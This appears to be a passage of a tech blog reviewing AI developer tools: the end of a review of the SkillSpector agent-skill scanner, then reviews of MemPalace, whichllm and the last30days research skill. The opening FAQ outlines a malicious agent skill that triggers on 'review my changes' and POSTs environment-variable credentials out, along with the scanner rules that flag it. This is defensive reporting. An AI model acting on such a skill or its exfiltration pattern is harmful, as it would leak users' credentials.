Q: Does it catch the Mitiga "review my changes" exfiltration skill?
A: Yes — TR1 (Overly Broad Trigger) catches the activation phrase, TT3 (Credential Exfiltration Chain) catches the env-var-to-network flow, and E1 (External Transmission) catches the POST. Combined risk score on the Mitiga sample skill: 92/100 CRITICAL.

Q: Is NVIDIA going to keep maintaining this?
A: NVIDIA's June 4 technical blog frames SkillSpector as one piece of a broader "NVIDIA-Verified Agent Skills" program, alongside capability governance and skill signing. That suggests sustained investment, not a tech-demo dump — three NVIDIA employees are primary committers and 18 PRs merged in its first three days.

Bottom Line

SkillSpector is the first open-source tool that takes agent-skill supply-chain security seriously enough to be usable in CI. It's not perfect — the false-positive rate on EA1/LP2 will frustrate you, and you'll want the v0.3 baseline file before you gate PRs on it — but it's good enough today to run on every new skill you're about to install, and it's the right architectural shape for the category to mature into.

Three years from now, scanning a skill before installing it will be as automatic as npm audit. SkillSpector is the tool that started that habit. Run it on your ~/.claude/skills/ directory tonight; you'll find at least one thing you didn't know was there.

GitHub: NVIDIA/SkillSpector · Docs: docs.nvidia.com/skills/scanning-agent-skills · License: Apache 2.0

MemPalace Review: Local AI Memory With 96.6% Recall

Andrew — Sat, 13 Jun 2026 10:13:03 +0000

TL;DR

MemPalace is a local-first, open-source AI memory system that stores conversation history verbatim and retrieves it with semantic search — no summarization, no LLM rewriting, no API calls required. It currently leads its category with 96.6% R@5 on the LongMemEval benchmark in raw mode and 98.4% on a held-out hybrid run, and the GitHub repo has exploded to 55,500 stars with 1,819 added this week.

The pitch is straightforward: every AI memory tool you've used so far probably summarizes your past sessions into "facts," loses nuance, and then can't tell you what you actually said. MemPalace keeps your raw text — your Claude Code session, your Cursor history, your project notes — indexed in a structured palace (wings → rooms → drawers), and retrieves the original transcript chunk when you ask "why did we switch to GraphQL?" Nothing leaves your machine.

Key facts:

55,500 GitHub stars, 1,819 added this week — currently top-3 trending Python repo
96.6% R@5 on LongMemEval (raw, no LLM, no API key) — best public open-source number
98.4% on held-out 450 questions with hybrid v4 (keyword + temporal boosting)
Verbatim storage — no summarization, no paraphrasing, no information loss
Pluggable backend — ChromaDB default, plus sqlite_exact, Qdrant, and pgvector
29 MCP tools for palace reads/writes, knowledge graph, agent diaries
Auto-save hooks for Claude Code, Codex CLI, and Cursor IDE
Temporal knowledge graph with validity windows, backed by local SQLite
MIT licensed, Python 3.9+, runs entirely offline once the embedding model is downloaded

Why "facts extraction" memory tools fail

There's a familiar pattern in AI memory tools: ingest a conversation, ask an LLM to extract "facts," store them as embeddings, retrieve facts on demand. Mem0, Zep, Supermemory, Hindsight, and dozens of others work this way. It's what every memory startup pitch deck shows.

It also has a problem that becomes obvious after a month: you can never get back what you actually said. The "facts" are a lossy summarization, and the LLM that wrote them had no idea which of your offhand asides would matter later. By the time you ask "wait, what was that OAuth library I mentioned?", the original is gone — replaced with "the user uses OAuth" or nothing at all.

MemPalace's bet is the opposite: store verbatim text, retrieve with semantic search, never summarize. The "palace" structure — people and projects become wings, topics become rooms, content lives in drawers — is purely an index for scoping. The drawers hold raw transcript chunks.

Lossless storage + good retrieval beats clever summarization at any task where you eventually need the original.

The benchmark numbers (and why they matter)

MemPalace publishes more reproducible benchmark detail than most commercial memory products. The headline result on LongMemEval (500 questions, recall@5):

Mode	R@5	LLM required
Raw (semantic search, no heuristics)	96.6%	None
Hybrid v4, held-out 450q	98.4%	None
Hybrid v4 + LLM rerank (full 500)	≥99%	Any capable model

A few things to notice:

96.6% with zero LLM calls, no API key, no cloud — this is the embedding-only path. The cost-per-query is effectively zero after install.
The 98.4% number is the held-out result — they trained the hybrid heuristics on 50 dev questions and report on the other 450 they never tuned against. That's the honest generalisable figure.
They explicitly refuse to publish a 100% number, calling it "teaching to the test" — the gap to 99%+ was closed by inspecting wrong answers, which is exactly the failure mode of every benchmark in the field.

For comparison: MemBench (ACL 2025, 8,500 items) hits R@5 of 80.3%, LoCoMo top-10 with hybrid v5 hits 88.9%, and ConvoMem averages 92.9% recall across categories. These are the numbers you can verify yourself with the commands in benchmarks/BENCHMARKS.md.

What's not in the README — pointedly — is a side-by-side against Mem0, Mastra, Supermemory, or Zep. The maintainers' position: those projects publish different metrics on different splits, and stacking retrieval recall next to end-to-end QA accuracy isn't an honest comparison. That's the right call, but it does leave you to do your own bake-off if you're picking between them.

How the palace is structured

The metaphor is load-bearing. Your data flows in as raw conversation, transcripts, or files, and gets indexed into a three-level hierarchy:

Palace
├── Wing      (people, projects)
│   ├── Room      (topics)
│   │   └── Drawer    (verbatim text chunks)

When you search, you can scope to a wing ("everything in the andrew.ooo project") or query globally. The semantic index sits on the drawer contents; the wing/room labels are metadata for filtering. This avoids the failure mode of pure vector DBs where every query searches the entire corpus and noise drowns out signal in long-lived stores.

The pluggable backend layer is the part most people will care about as the project matures:

ChromaDB (default) — zero-config, local, fine for individual use
sqlite_exact — exact-vector correctness checks; useful for benchmarking and debugging recall
Qdrant — REST backend; opt-in via MEMPALACE_QDRANT_URL
pgvector — Postgres + JSONB; opt-in via MEMPALACE_PGVECTOR_DSN

The Qdrant and pgvector paths are explicitly described as opt-in — they will send your verbatim drawer text to the configured server. That's correct posture for a local-first tool: cloud is possible, but never the default.

Real install — 60 seconds

# uv (recommended — isolated, on your PATH)
uv tool install mempalace

# Initialize a palace in your project
mempalace init ~/projects/myapp

# Mine project files into the palace
mempalace mine ~/projects/myapp

# Mine your existing Claude Code session history
mempalace mine ~/.claude/projects/ --mode convos

# Search
mempalace search "why did we switch to GraphQL"

# Load context for a new session
mempalace wake-up

The --mode convos flag is the killer feature for daily Claude Code users. Point it at ~/.claude/projects/ and it backfills your entire conversation history — months of sessions — into the palace. Combined with the auto-save hooks, every future session also lands in the palace, scoped by --wing so each project stays isolated.

For Cursor IDE there's a separate hooks setup that adds session-start recall and a transcript snapshot before context compaction — that last part matters because Cursor's compaction is exactly when you lose detail.

Wiring it into Claude Code (MCP)

This is the path most readers will take. MemPalace ships an MCP stdio server with 29 tools covering palace reads/writes, the knowledge graph, cross-wing navigation, drawer management, and agent diaries.

In your Claude Code config:

{
  "mcpServers": {
    "mempalace": {
      "command": "docker",
      "args": ["run", "-i", "--rm", "-v", "mempalace-data:/data", "mempalace"]
    }
  }
}

Or natively, without Docker, if you've uv tool install'd it. The auto-save hooks are documented for Claude Code, Codex CLI, and Cursor IDE — wire those up before you start a real project, because backfilling existing JSONL transcripts works (mempalace mine ~/.claude/projects/ --mode convos) but it's nicer to capture cleanly from day one.

The knowledge graph

This is the under-marketed feature. MemPalace ships a temporal entity-relationship graph with validity windows — backed by local SQLite — that lets you encode relationships between people, projects, and concepts that change over time.

In practice: "Andrew uses Claude Code (valid: 2025-08 onwards)" can later be invalidated by "Andrew migrated to Codex (valid: 2026-06 onwards)" without overwriting the original. Queries respect the temporal window. This is what real long-term memory looks like — not "facts" extracted into a flat KV store, but a graph that knows what was true when.

For multi-agent setups, each specialist agent gets its own wing and its own diary. There's a mempalace_list_agents tool for runtime discovery, so you don't have to stuff agent context into the system prompt of every session.

Community reception

Reception on r/LocalLLaMA and r/ClaudeAI over the last two weeks has been unusually positive for a memory tool. Three themes recur:

"Finally, verbatim." Users who got burned by Mem0 and Supermemory summarizing away the details they wanted later are the loudest fans. The pitch ("we don't summarize") lands.
"The benchmarks are reproducible." Most memory tools publish marketing numbers; MemPalace publishes the exact commands. The R@5 96.6% number is hard to argue with when you can run it yourself in ten minutes.
"The MCP integration is the cleanest in the category." 29 tools, all documented, all locally served. No hosted-API dependency, no rate limits, no privacy hand-wringing.

The most consistent critique: the palace metaphor takes a session to internalise. New users don't immediately know whether their content should be a wing, a room, or a drawer. The docs have improved a lot, but expect a 30-minute learning curve before the structure clicks.

Secondary critique: there's no built-in dedup against your existing Claude Code transcripts when you backfill. If you've been using another memory tool that also mined your transcripts, you'll end up with overlapping content until you point both at the same backend or pick one to drop.

Honest limitations

Embedding model download is ~300 MB on first run. Onboarding offers embeddinggemma-300m (multilingual, recommended) or all-MiniLM-L6-v2 (English, ~30 MB).
No built-in privacy redaction. If your sessions contain secrets, they go into the palace verbatim. The local-first posture makes this safer than cloud tools, but it's still on you to scrub.
External backends (Qdrant, pgvector) are previews. The Chroma path is what's battle-tested; treat the others as solid but not yet bulletproof.
No GUI yet. Everything is CLI + MCP. A web UI is on the roadmap; for now, you query via mempalace search or via your agent.
It's not a replacement for prompt caching. MemPalace is for long-term memory across sessions. For the same-session context-window pressure, you still want provider-native compaction and a compression layer like Headroom.

Compared to the alternatives

Tool	Storage model	Local-first	Open-source	Benchmark transparency
MemPalace	Verbatim	Yes	MIT	Reproducible, R@5 96.6%
Mem0	LLM-summarized facts	Optional cloud	Apache 2.0	Marketing numbers
Supermemory	Embeddings + facts	Cloud-first	Closed core	Published, some reproducible
Zep	Temporal KG + facts	Optional self-host	Apache 2.0	Published, partial
Hindsight	Embeddings	Yes	MIT	Limited
Mastra Memory	Vector + KV	Optional cloud	Open-source	Limited

The differentiation is real: verbatim + local + reproducible benchmarks is a triple that no other major tool in this category currently offers. Whether that combination matters to you depends on whether you trust LLM-summarized "facts" to capture what you'll want later. After a year of using these tools, my answer is no — and the benchmark numbers back that up.

Should you use MemPalace?

Use it if:

You run daily Claude Code, Codex, or Cursor sessions and want them to remember across runs
You've been burned by other memory tools summarizing away the details you needed
You want a local-first tool with no cloud dependency for personal-use memory
You're building multi-agent setups and need per-agent diaries with shared knowledge graph

Skip it if:

You only need same-session memory (provider-native compaction is enough)
Your stack already standardised on Mem0 / Zep and switching costs are high
You need a hosted SaaS with a polished web UI today

For most Claude Code daily drivers, the install path is: uv tool install mempalace → mempalace mine ~/.claude/projects/ --mode convos → wire up the auto-save hooks → wire up the MCP server. Twenty minutes of work, and your agent now remembers months of context.

FAQ

Q: Does MemPalace require an LLM or API key?
No, not for the core path. The 96.6% R@5 raw benchmark is reached using embeddings + semantic search only — zero API calls, no cloud. The LLM rerank pipeline that pushes the number to ≥99% is opt-in and works with any model (Claude Haiku, Sonnet, or minimax-m2.7 via Ollama Cloud).

Q: How is this different from Mem0 or Supermemory?
The biggest difference is no summarization. Mem0 and Supermemory extract LLM-generated "facts" from your conversations and discard the original text. MemPalace stores the verbatim text and searches it directly. When you ask "what was that OAuth library I mentioned?", MemPalace can find it; fact-extraction tools usually can't.

Q: Will it work with non-Claude agents?
Yes. The MCP server speaks JSON-RPC over stdio, so any MCP-aware client works: Claude Code, Gemini CLI, Antigravity, Codex CLI, Cursor, and custom agents. Auto-save hooks are documented for Claude Code, Codex CLI, and Cursor IDE today; other integrations use the MCP tools directly.

Q: What backend should I pick?
Start with ChromaDB (default). It's local, zero-config, and handles single-user palaces well past 1M drawers. Move to Qdrant (REST) or pgvector if you want multi-tenant isolation or you already run that infrastructure. Use sqlite_exact only for benchmarking exact-vector correctness.

Q: How much disk does the palace use?
The embedding model is ~300 MB on first install (or ~30 MB if you pick all-MiniLM-L6-v2). After that, each drawer is roughly the size of the raw text plus the embedding vector — typical Claude Code session histories land around 200-500 MB after months of use.

Q: Can I encrypt the palace?
There's no built-in encryption-at-rest, but since everything is local-first and the data lives under a single directory (/data in Docker, or your configured palace root), filesystem-level encryption (FileVault, LUKS, BitLocker) covers it. For multi-user setups, prefer the Qdrant or pgvector backend with namespace isolation.

Q: Does it work with the knowledge graph and verbatim storage in the same query?
Yes. The knowledge graph and the drawer index are complementary. A query like "what's the current OAuth library?" first hits the temporal KG for the latest valid relationship, then optionally pulls supporting drawer context if you need the original conversation.

Q: Is the verbatim approach really better than fact extraction?
For retrieval-heavy use cases (debugging, code review, project archaeology) — yes, measurably. The R@5 numbers tell the story: lossless storage + good retrieval beats clever summarization on benchmarks where the question is "what did I actually say?" For pure summary use cases (give me a tldr of last week), summarization tools are arguably easier; MemPalace can also do this via reranking, but it's not the primary design center.

Bottom line

MemPalace is the strongest open-source AI memory project in the category right now. Verbatim storage, local-first by default, reproducible 96.6% R@5 on LongMemEval, 29 MCP tools, auto-save hooks for the three agents most people actually use — there's no major box left unchecked.

If you run Claude Code daily and you've been irritated by other memory tools losing the details you needed, install it tonight: uv tool install mempalace, point it at ~/.claude/projects/, and check whether the recall matches the benchmarks on your actual data. Twenty minutes will tell you.

→ Try it: uv tool install mempalace (GitHub · Docs · Benchmarks)

whichllm Review: One Command to Find Your Best Local LLM

Andrew — Fri, 12 Jun 2026 10:10:25 +0000

TL;DR

whichllm is a Python CLI that auto-detects your GPU/CPU/RAM and ranks the local LLMs that will actually run best on your hardware — judged by merged real benchmarks (LiveBench, Artificial Analysis, Aider, Vision, Chatbot Arena ELO, Open LLM Leaderboard v2), not by "biggest model that fits." It blew up on Hacker News with a 144-point Show HN and is currently trending on GitHub with 4,592 stars (1,800 in the past week).

The pitch is sharp: every other "what can I run?" tool just checks if the weights fit in VRAM. That hands you the biggest model — which is almost never the smartest model. whichllm does it the other way around: it knows that on an RTX 4090, a Qwen3.6‑27B at Q5_K_M beats a Qwen3‑32B at Q4_K_M, because the newer 27B has a higher real benchmark score, even though both fit. That gap is the whole product.

Key facts:

4,592 GitHub stars, 1,800 added this week, currently in the top 10 trending Python repos
144 points on Show HN ("One command to find the best local LLM for your hardware")
Built by /Andyyyy64 (with /claude, /devangpratap, /hibiki333155555, /justindotdevv)
One command, scriptable — no TUI, no setup, JSON-pipe friendly
Live HuggingFace data — merges current-tier (LiveBench/Artificial Analysis/Aider/Vision) and frozen-tier (OLM Leaderboard v2 / Arena ELO) benchmarks
Recency-aware — stale leaderboard scores get demoted along each model's lineage so a 2024 model can't outrank a current-generation one on an outdated score
GPU simulation — whichllm --gpu "RTX 5090" lets you plan an upgrade before you spend the money
MIT licensed, PyPI / Homebrew / uvx

Why "biggest model that fits" is the wrong question

If you've spent any time in r/LocalLLaMA, you've seen the same loop: someone posts their rig, asks "what should I run?", and the replies are some mix of "Qwen is good," "just try llama3," and personal anecdotes. Useful, but not exactly a system.

The other category of advice — "VRAM calculator" tools — answers a strictly easier question: does this model's weights, KV cache, and activation budget fit? That's a real check, but it's not a recommendation. It will happily tell you that a 32B Q4 fits on your 4090 and stop there, even when a newer 27B at Q5 is meaningfully smarter at the same memory cost.

whichllm's author calls this "evidence-based ranking, not a size heuristic." The merged benchmark map decides the score; runtime fit, speed, evidence confidence, and source trust scale it. Size is a factor (capped at +35 as a log-scaled world-knowledge proxy), not the driver.

The result, for an RTX 4090 / 3090 with 24 GB VRAM at the time of writing:

#1 Qwen/Qwen3.6-27B    27.8B  Q5_K_M  score 92.8   27 t/s
#2 Qwen/Qwen3-32B      32.0B  Q4_K_M  score 83.0   31 t/s
#3 Qwen/Qwen3-30B-A3B  30.0B  Q5_K_M  score 82.7  102 t/s

Both #1 and #2 fit your card. A VRAM-only tool would rank the 32B higher. whichllm ranks the 27B higher because its merged real benchmark score is genuinely better, and prints the published-date and benchmark snapshot under the table so you can sanity-check it. The #3 row is a 30B MoE running at ~102 t/s — speed is scored on active parameters, quality on total. That's the kind of nuance most "what runs on my GPU" pages get wrong.

Install in one line

The whole thing is a uvx-installable Python package, so you can run it without committing to anything:

# Run once, no install
uvx whichllm@latest

# Install when you use it often
uv tool install whichllm
uv tool upgrade whichllm

# Alternative install paths
brew install andyyyy64/whichllm/whichllm
pip install whichllm

Auto-detection covers NVIDIA (via nvidia-ml-py, fallback nvidia-smi), AMD (rocm-smi, fallback lspci), Intel iGPUs on Linux, Apple Silicon (system_profiler), CPU cores + AVX2/AVX‑512, RAM, and disk free. If detection fails, it returns an empty result instead of crashing — fail-safe by design.

Six commands, one tool

The CLI is intentionally small. Here are the six surfaces:

# 1) Best models for this machine
whichllm

# 2) Pretend you have a specific GPU (great for hardware planning)
whichllm --gpu "RTX 4090"

# 3) Compare upgrade candidates
whichllm upgrade "RTX 4090" "RTX 5090" "H100"

# 4) Find the GPU needed for a given model
whichllm plan "llama 3 70b"

# 5) Start a chat with a model immediately
whichllm run "qwen 2.5 1.5b gguf"

# 6) Print copy-paste Python you can drop into a script
whichllm snippet "qwen 7b"

The standouts here are plan and upgrade. If you've ever shopped for a GPU specifically to run a target model, you know "you need an H100" and "a 5090 will do" are very different conversations. plan gives you the floor; upgrade ranks candidate cards on the same scoring engine.

A peek at the scoring

This is the part that turns it from "another HN tool" into something I'd actually run before downloading 27 GB of weights:

Factor	Effect	Description
Benchmark quality	core	Merged LiveBench / Artificial Analysis / Aider / Vision / Arena ELO / OLM Leaderboard v2, weighted by source confidence
Model size	up to +35	log2-scaled world-knowledge proxy (MoE uses total params)
Quantization	× penalty	Lower-bit quants are discounted multiplicatively
Evidence confidence	×0.55–1.0	none / self-reported ×0.55, inherited ×0.78, direct full
Runtime fit	×0.50–1.0	partial-offload ×0.72, CPU-only ×0.50
Speed	−8 to +8	Usability gate vs a fit-dependent tok/s floor; reported with confidence and a range
Source trust	−5 to +5	Official-org bonus, known-repackager penalty
Popularity	tie-breaker	Downloads + likes; weight shrinks as evidence strengthens

Two design choices stood out reading the source. First, evidence has five grades (direct, variant, base_model, line_interp, self_reported), and each is discounted. A model with only a self-reported benchmark gets ×0.55 — uploader claims are not free real estate. Second, inheritance is rejected when a model's parameter count diverges more than 2× from its family's dominant member. This catches small draft heads, MTP heads, and abliterated forks that would otherwise borrow the score of their much larger base. It's the kind of leaderboard-gaming guard a lot of "AI tool roundup" pages have no opinion about.

Score markers are surfaced inline:

~ (yellow) — no direct benchmark; score is inherited/interpolated from the family
!sr (bright yellow) — uploader-reported only, not independently verified
? (red) — no benchmark data available

So if the top pick is yellow-~, you know to take it with a grain of salt before you commit to a download.

Run a model in literally one command

The run subcommand is what makes this more than a recommender. It creates an isolated uv environment, installs the right runtime (llama-cpp-python for GGUF, transformers + autoawq/auto-gptq for AWQ/GPTQ, plain transformers for FP16/BF16), downloads the right GGUF variant for your VRAM, and drops you straight into a chat:

# Auto-pick the best model for your hardware and chat
whichllm run

# Specify a model and quant
whichllm run "qwen 2.5 1.5b gguf"

# CPU-only
whichllm run "phi 3 mini gguf" --cpu-only

For people who just want a known-good model running in the next 90 seconds, this is the single most useful thing in the tool.

If you'd rather wire it into your own code, whichllm snippet prints ready-to-paste Python:

from llama_cpp import Llama

llm = Llama.from_pretrained(
    repo_id="Qwen/Qwen2.5-7B-Instruct-GGUF",
    filename="qwen2.5-7b-instruct-q4_k_m.gguf",
    n_ctx=4096,
    n_gpu_layers=-1,
    verbose=False,
)

output = llm.create_chat_completion(
    messages=[{"role": "user", "content": "Hello!"}],
)
print(output["choices"][0]["message"]["content"])

Pipe-friendly: the Ollama trick

The bit that won me over for scripting: whichllm --json returns a structured object you can pipe straight into jq, including estimated_tok_per_sec, speed_confidence, and a speed_range_tok_per_sec planning range. That means you can build an alias that always returns "the best model ID for this machine, right now":

# Add to .bashrc / .zshrc
alias bestllm='whichllm --top 1 --json | jq -r ".models[0].model_id"'

# Then
ollama run $(bestllm)

Caveat: Ollama model names don't always match HuggingFace repo IDs, so you'll usually want a small mapping step in the middle. Profiles available: general, coding, vision, math — --profile coding --top 1 --json | jq -r '.models[0].model_id' gets you the best coding model in one line.

Sample top picks across hardware

This is from the README and reflects a 2026-05 snapshot — your results will track the live HuggingFace data, but it's a useful directional read:

Hardware	VRAM	Top pick	Speed
RTX 5090	32 GB	Qwen3.6‑27B · Q6_K · score 94.7	~40 t/s
RTX 4090 / 3090	24 GB	Qwen3.6‑27B · Q5_K_M · score 92.8	~27 t/s
RTX 4060	8 GB	Qwen3‑14B · Q3_K_M · score 71.0	~22 t/s
Apple M3 Max	36 GB	Qwen3.6‑27B · Q5_K_M · score 89.4	~9 t/s
CPU only	—	gpt-oss-20b (MoE) · Q4_K_M · score 45.2	~6 t/s

Two readings: Qwen3.6‑27B is doing serious work in the consumer-GPU bracket right now — the smarter quant at smaller params keeps winning over bigger-but-older alternatives. And on CPU, a well-chosen MoE (gpt-oss-20b) wins because only active params load into the bandwidth-bound speed model.

What the community is saying

The Show HN thread (144 points) and r/LocalLLaMA discussion give you a fair read of where it works and where the rough edges still are.

The good — most upvoted comments call out the recency-awareness and the runtime fit modeling specifically. The "biggest that fits" failure mode is the single most common complaint about VRAM calculators, and people noticed whichllm actually addresses it. The --gpu "RTX 5090" simulation got flagged repeatedly as the killer feature for pre-purchase planning — finally a way to answer "is upgrading worth it for this model?" without buying first.

The reality check — one r/LocalLLaMA thread asks "How accurate can whichllm be?" after a WSL user got reasonable picks but incorrect RAM and disk numbers. That's an honest limitation of running detection inside WSL where the namespace gives you Linux-side counters rather than Windows host counters. Recent releases widened the Windows detector (WMI + registry fields), but on WSL specifically, double-check whichllm hardware against your actual host before trusting speed estimates.

The other recurring note: surprise at gpt-oss-20b appearing high on CPU-only lists. That's working as intended — CPU-only triggers a ×0.50 runtime-fit penalty, but MoE active-param speed modeling rescues a 20B model with ~3B active back into the "actually usable" zone.

Honest limitations

A few things to know before you trust the top row blindly:

Benchmarks are not your workload. LiveBench, Aider, and Arena ELO are great signals, but they're not your domain. If you have a private eval set, run the top three picks against it before committing.
Speed estimates are planning ranges. Backend (llama.cpp build, CUDA version), context length, batching, and prompt shape all move real numbers. The ~ and ? markers tell you when to be skeptical.
Detection on WSL/Windows is the edge case. Expect minor inaccuracies on RAM/disk if you're running through WSL.
MoE rankings assume active-param routing. If your inference stack doesn't fully exploit MoE routing, the speed estimate will be optimistic.
Benchmark snapshots can drift. Live sources fall back to curated frozen snapshots. The snapshot date is printed beneath the ranking — but only if you look at it.

How it compares

Tool	What it answers	Recency-aware?	Runs the model for you?
`whichllm`	Best model for my hardware by benchmark	Yes (lineage-demoted frozen scores)	Yes (`whichllm run`)
VRAM calculators	Will this model fit	No (size-only)	No
HuggingFace leaderboards	Best model overall	Partially	No
Ollama library list	Popular models by downloads	No	Yes (`ollama run`)
LM Studio model browser	GUI-curated picks	Editor-curated	Yes (GUI)

The unique seat is: evidence-based ranking + runtime fit + one-command execute. Each other tool gets one or two of those; nothing else seems to do all three.

FAQ

Is whichllm free?

Yes — MIT license. You only pay for the model weights (HuggingFace downloads) and inference costs if you whichllm run. Sponsorships exist but the project will stay open-source either way.

Does it support AMD GPUs and Apple Silicon?

Yes. AMD is detected via rocm-smi with lspci fallback on Linux. Apple Silicon is detected via system_profiler on macOS. Both restrict the candidate set to GGUF for runtime stability. Linux + NVIDIA gets the widest support, including AWQ / GPTQ / FP16 / BF16.

How is this different from a VRAM calculator?

A VRAM calculator answers can this model fit. whichllm answers which model that fits will actually perform best, using merged real benchmarks plus runtime-fit and speed scaling. The README example — Qwen3.6‑27B ranked above Qwen3‑32B on the same RTX 4090 — is the canonical demo of the difference.

Can I use it offline?

Partially. Both the model and benchmark caches live under ~/.cache/whichllm/ (6h TTL for models, 24h for benchmarks). Curated frozen fallbacks ship with the package for offline / rate-limited use, so a cold offline run still gives you something — just don't trust the recency markers on a stale cache.

How does GPU simulation work?

whichllm --gpu "RTX 5090" builds a synthetic GPUInfo from a curated table of memory bandwidth, VRAM size, and compute capability. The rest of the pipeline (VRAM fit, speed estimate, runtime fit factor) then runs as if that card were present. It's a planning tool, not a guarantee — actual cards depend on cooling, PCIe gen, and your specific motherboard.

Will it pick a model I already have downloaded?

Today, ranking is over HuggingFace candidates, not your local cache. If you want "the best of what I already have," pipe whichllm --json through jq and filter against your local model directory. A first-class "local-only" mode is a natural feature request — open an issue if you want it.

Bottom line

Local-LLM model selection has been a vibes-and-anecdotes problem for two years. whichllm is the first tool I've used that turns it into a defensible, auditable answer: "this is the top model for your machine, here's its merged benchmark score, here's the evidence grade, here's the speed range, and here's one command to actually run it."

It won't replace running your own eval on your own workload. Nothing should. But for the 90% of "which Qwen / Llama / Mistral should I download tonight?" decisions, uvx whichllm@latest is now the right first move.

Install: uv tool install whichllm. Star and report your top pick at github.com/Andyyyy64/whichllm.

last30days Review: AI Agent That Searches Past Google

Andrew — Thu, 11 Jun 2026 10:09:52 +0000

TL;DR

/last30days is an AI agent skill that researches any topic across Reddit, X, YouTube, TikTok, Hacker News, Polymarket, GitHub, and the open web in parallel — then has a judge agent synthesize what real people actually engaged with in the last 30 days. It's the #1 trending repo on GitHub this week: 39,455 stars total and 11,732 new stars in the past seven days, with 5 of today's top 10 trending repos being Claude skills (per X user @yieldhunter95).

The premise is sharp: Google aggregates editors; ChatGPT has a Reddit deal but can't see X; Gemini has YouTube but not Reddit; Claude has none of them natively. Every platform is a walled garden — but you can bring your own keys and let one agent search all of them at once, score results by upvotes/likes/transcripts/prediction-market money, and merge it into a single brief.

Key facts:

39,455 GitHub stars (11,732 this week, ranked #1 trending repo)
Built by Mason Van Horn (/mvanhorn), with active contributions from /claude, /tmchow, /j-sperling, /dinakars777
Works as a Claude Code plugin, Codex/Cursor/Copilot/Gemini skill, OpenClaw skill, or claude.ai web skill — same SKILL.md spec
Zero-config defaults — Reddit, HN, Polymarket, and GitHub work immediately with no keys
Optional API keys unlock X, YouTube, TikTok via setup wizard (~30 seconds)
v3 pipeline has a Python pre-research "brain" that resolves people→handles, products→founders, names→GitHub profiles before firing a single API call
HTML brief export — --emit=html saves a self-contained, dark-mode, print-friendly file
Apache 2.0 — install with /plugin install last30days or npx skills add mvanhorn/last30days-skill -g

If you've been frustrated that LLMs answer with stale 2023 blog summaries when the real answer is in a 1,500-upvote Reddit thread from last week, this is the skill you've been waiting for.

Quick Reference

Field	Value
Repo	mvanhorn/last30days-skill
Stars	39,455 (11,732 this week, #1 trending)
License	Apache 2.0
Maintainer	Mason Van Horn (`/mvanhorn`)
Primary language	Python
Install (Claude Code)	`/plugin marketplace add mvanhorn/last30days-skill`
Install (anywhere)	`npx skills add mvanhorn/last30days-skill -g`
Sources	Reddit, X, YouTube, TikTok, IG Reels, HN, Polymarket, GitHub, Digg, Threads, Pinterest, Bluesky, Perplexity, web
Zero-config sources	Reddit, HN, Polymarket, GitHub
Engine	v3 — pre-research brain + parallel pipelines + judge agent
Trendshift rank	#21997 trending

Why This Matters: Searching People, Not Editors

Here's the thesis the README puts bluntly:

Every other AI search tool ranks by SEO relevance. /last30days ranks by social relevance — upvotes, likes, views, transcripts, prediction-market dollars. The unlock isn't a better search engine. It's bridging a dozen disconnected walled gardens with a single agent that has your API keys.

The README's canonical example: you Google someone before a meeting and get their 2023 LinkedIn. You /last30days them and you get what they're actually doing this month — recent X posts, podcast transcripts they appeared on, the Reddit thread where 569 people argued about whether they're "a hero or insufferable," and the 23 PRs they merged at 85% merge rate. None of it was on Google.

That's the difference between stale training data and last-30-days truth.

How v3 Actually Works

The v3 pipeline (the current source of truth in skills/last30days/SKILL.md) has four interesting innovations:

1. Pre-research brain resolves entities first

Type OpenClaw and the engine resolves @steipete (Peter Steinberger, the creator), r/openclaw, r/ClaudeCode, and the right YouTube channels and TikTok hashtags — before any search runs. It's a Python module built by /j-sperling that does bidirectional resolution: person→company, product→founder, name→GitHub profile.

The old v2 engine searched keywords. v3 understands your topic first, then searches the right people and communities. That's why v3 finds content v2 buried.

2. A "fun judge" alongside the relevance judge

Reddit and X people are funny. The old engine scored only for relevance and buried the best stuff. v3 has a second judge that scores every result for humor, wit, and virality alongside relevance. Every brief now ends with a "Best Takes" section — the cleverest one-liners, the most viral quotes.

3. Cluster merging across sources

When the same story appears on Reddit, X, and YouTube, v3 merges them into one cluster instead of showing three separate items. Entity-based overlap detection catches matches even when the titles use different words.

4. Parallel comparison pipelines

/last30days OpenAI --competitors tells the hosting reasoning model to discover the top 2 peers via WebSearch (Anthropic, xAI), then fan out three full pipelines in parallel and merge into a 3-way comparison. The old "X vs Y" used to be three serial passes (12+ minutes). v3 runs one pass with entity-aware subqueries for both sides simultaneously — same depth, ~3 minutes.

Install in 60 Seconds

Claude Code (recommended — auto-updates via marketplace):

/plugin marketplace add mvanhorn/last30days-skill
/plugin install last30days

Codex, Cursor, Copilot, Gemini CLI, or any of the 50+ Agent Skills hosts:

npx skills add mvanhorn/last30days-skill -g

(-g installs globally for your user, available across all projects. Drop it to scope per-project.)

Then just ask:

/last30days Peter Steinberger
/last30days Nano Banana Pro prompting
/last30days OpenClaw vs Hermes vs Paperclip
/last30days Universal Epic Universe

That's it. Reddit, HN, Polymarket, and GitHub work immediately. Run it once and the setup wizard unlocks X, YouTube, TikTok in another 30 seconds.

Real Code: Calling It Like an MCP Tool

For non-Claude-Code clients, the engine ships an MCP server. Wire it in via your standard MCP config:

{
  "mcpServers": {
    "last30days": {
      "command": "npx",
      "args": ["-y", "@last30days/mcp"],
      "env": {
        "OPENAI_API_KEY": "...",
        "XAI_API_KEY": "..."
      }
    }
  }
}

The optional .env config (referenced in the Skillkit walkthrough) lives at ~/.config/last30days/.env:

mkdir -p ~/.config/last30days
cat > ~/.config/last30days/.env << 'ENVEOF'
# Both keys are optional - skill works with WebSearch fallback
# For Reddit/web research (uses OpenAI's web_search tool)
OPENAI_API_KEY=
# For X/Twitter research (uses xAI's x_search tool)
XAI_API_KEY=
ENVEOF
chmod 600 ~/.config/last30days/.env

The script auto-detects what's configured and reports mode at runtime:

Mode: both — Reddit + X + WebSearch supplementing
Mode: reddit-only or Mode: x-only — partial keys configured
Mode: web-only — no API keys, Claude does all research via WebSearch fallback

The fallback works. You don't need keys to get value. But you'll get richer results with them.

Exporting a shareable HTML brief

This is the killer feature for sharing with humans:

/last30days OpenClaw --emit=html

Or in plain language:

/last30days Cursor IDE for slack
/last30days Anthropic earnings export as html

The skill emits the synthesis in chat and saves a self-contained brief to ${LAST30DAYS_MEMORY_DIR}/{topic}-brief.html (defaults to ~/Documents/Last30Days/). Dark mode, print-friendly, no JavaScript, system-font fallbacks behind Inter and JetBrains Mono. Drop it in Slack, email, or Notion — no raw markdown leaks.

Source-by-Source: What Each Platform Tells You

The README's table is the clearest part of the docs. The signals are deliberately different:

Source	The signal
